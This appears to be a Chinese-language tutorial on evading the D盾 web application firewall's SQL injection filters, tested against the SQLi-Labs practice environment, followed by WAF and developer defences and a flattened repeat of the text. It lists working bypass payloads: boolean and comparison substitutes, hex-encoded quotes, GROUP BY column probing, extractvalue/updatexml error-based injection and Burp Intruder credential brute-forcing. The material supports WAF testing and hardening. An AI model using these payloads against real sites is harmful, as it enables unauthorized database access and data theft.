最新D盾极少部分绕过
字数 1016 2025-08-15 21:32:35

D盾WAF绕过技术分析与防御教学文档

0x00 前言

本文档详细分析针对D盾Web应用防火墙(WAF)的SQL注入绕过技术,基于2020年11月发布的D盾版本进行测试。测试环境使用SQLi-Labs的第一关(基于GET参数的字符型注入)。

免责声明:本文所有技术仅用于安全研究和产品改进目的,严禁用于非法用途。使用者需自行承担相关法律责任。

0x01 基础绕过技术

1.1 布尔逻辑绕过

传统AND 1=1AND 1=2测试会被D盾拦截,尝试以下替代方案:

  • 直接使用布尔值:

    AND true
    AND false
    
  • 使用数字等效值:

    AND 1
    AND 0
    
  • 比较运算符绕过:

    AND 2>1  -- 等效于1=1
    AND 1>2  -- 等效于1=2
    

1.2 单引号绕过

当需要绕过单引号检测时,可采用以下方法:

/* 在引号前添加大量无用字符 */
AND 'a'='a'  -- 被拦截
AND /*大量注释*/'a'='a'  -- 可能绕过
AND 0x6162='ab'  -- 使用十六进制编码

0x02 ORDER BY替代技术

2.1 GROUP BY替代

D盾对ORDER BY检测严格但对GROUP BY检测较弱:

-- 传统方式被拦截
ORDER BY 3

-- 替代方案
GROUP BY 3

注意:虽然语法功能不同,但在确定列数场景下可达到相同效果。

2.2 列数探测技术

确定列数的替代方法:

-- 使用GROUP BY探测列数
GROUP BY 4  -- 如果报错则说明列数小于4

-- 使用UNION SELECT探测
UNION SELECT NULL,NULL,NULL  -- 调整NULL数量直到不报错

0x03 信息获取技术

3.1 报错注入技术

当UNION SELECT被严格拦截时,可采用报错注入:

-- 基础报错注入
AND extractvalue(1,concat(0x7e,(SELECT user()),0x7e))

-- 替代方案
AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

3.2 有限信息获取

通过报错注入可获取:

  • 当前数据库名
  • 当前用户
  • 当前表的字段名

限制:难以直接跨表或跨库查询,需结合其他技术。

3.3 Burp Suite爆破技术

当直接注入受限时,可使用Burp Suite:

  1. 拦截包含注入点的请求
  2. 发送到Intruder模块
  3. 对关键参数进行爆破:
    • 数据库名
    • 表名
    • 列名
    • 用户凭证

0x04 防御建议

4.1 针对WAF的改进建议

  1. 增强布尔逻辑检测:

    • 识别true/false替代
    • 检测数字布尔等效值
  2. 统一处理GROUP BY和ORDER BY:

    • 将GROUP BY纳入危险操作检测
  3. 报错信息过滤:

    • 屏蔽敏感信息泄露
    • 统一错误页面

4.2 开发者防护措施

  1. 参数化查询:

    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
    $stmt->execute([$id]);
    
  2. 输入验证:

    • 白名单验证
    • 类型强制转换
  3. 最小权限原则:

    • 数据库用户仅限必要权限
  4. 错误处理:

    • 禁用详细错误信息
    • 使用自定义错误页面

0x05 总结

本文详细分析了针对D盾WAF的多种绕过技术,包括布尔逻辑绕过、ORDER BY替代、报错注入等。虽然这些技术在当前版本可能有效,但随着WAF的不断更新,这些方法可能会被修复。安全是一个持续的过程,建议开发者和安全团队持续关注最新安全动态,及时更新防护措施。

重要提示:所有安全测试应在合法授权范围内进行,未经授权的测试可能构成违法行为。

D盾WAF绕过技术分析与防御教学文档 0x00 前言 本文档详细分析针对D盾Web应用防火墙(WAF)的SQL注入绕过技术,基于2020年11月发布的D盾版本进行测试。测试环境使用SQLi-Labs的第一关(基于GET参数的字符型注入)。 免责声明 :本文所有技术仅用于安全研究和产品改进目的,严禁用于非法用途。使用者需自行承担相关法律责任。 0x01 基础绕过技术 1.1 布尔逻辑绕过 传统 AND 1=1 和 AND 1=2 测试会被D盾拦截,尝试以下替代方案: 直接使用布尔值: 使用数字等效值: 比较运算符绕过: 1.2 单引号绕过 当需要绕过单引号检测时,可采用以下方法: 0x02 ORDER BY替代技术 2.1 GROUP BY替代 D盾对 ORDER BY 检测严格但对 GROUP BY 检测较弱: 注意 :虽然语法功能不同,但在确定列数场景下可达到相同效果。 2.2 列数探测技术 确定列数的替代方法: 0x03 信息获取技术 3.1 报错注入技术 当UNION SELECT被严格拦截时,可采用报错注入: 3.2 有限信息获取 通过报错注入可获取: 当前数据库名 当前用户 当前表的字段名 限制 :难以直接跨表或跨库查询,需结合其他技术。 3.3 Burp Suite爆破技术 当直接注入受限时,可使用Burp Suite: 拦截包含注入点的请求 发送到Intruder模块 对关键参数进行爆破: 数据库名 表名 列名 用户凭证 0x04 防御建议 4.1 针对WAF的改进建议 增强布尔逻辑检测: 识别 true/false 替代 检测数字布尔等效值 统一处理GROUP BY和ORDER BY: 将GROUP BY纳入危险操作检测 报错信息过滤: 屏蔽敏感信息泄露 统一错误页面 4.2 开发者防护措施 参数化查询: 输入验证: 白名单验证 类型强制转换 最小权限原则: 数据库用户仅限必要权限 错误处理: 禁用详细错误信息 使用自定义错误页面 0x05 总结 本文详细分析了针对D盾WAF的多种绕过技术,包括布尔逻辑绕过、ORDER BY替代、报错注入等。虽然这些技术在当前版本可能有效,但随着WAF的不断更新,这些方法可能会被修复。安全是一个持续的过程,建议开发者和安全团队持续关注最新安全动态,及时更新防护措施。 重要提示 :所有安全测试应在合法授权范围内进行,未经授权的测试可能构成违法行为。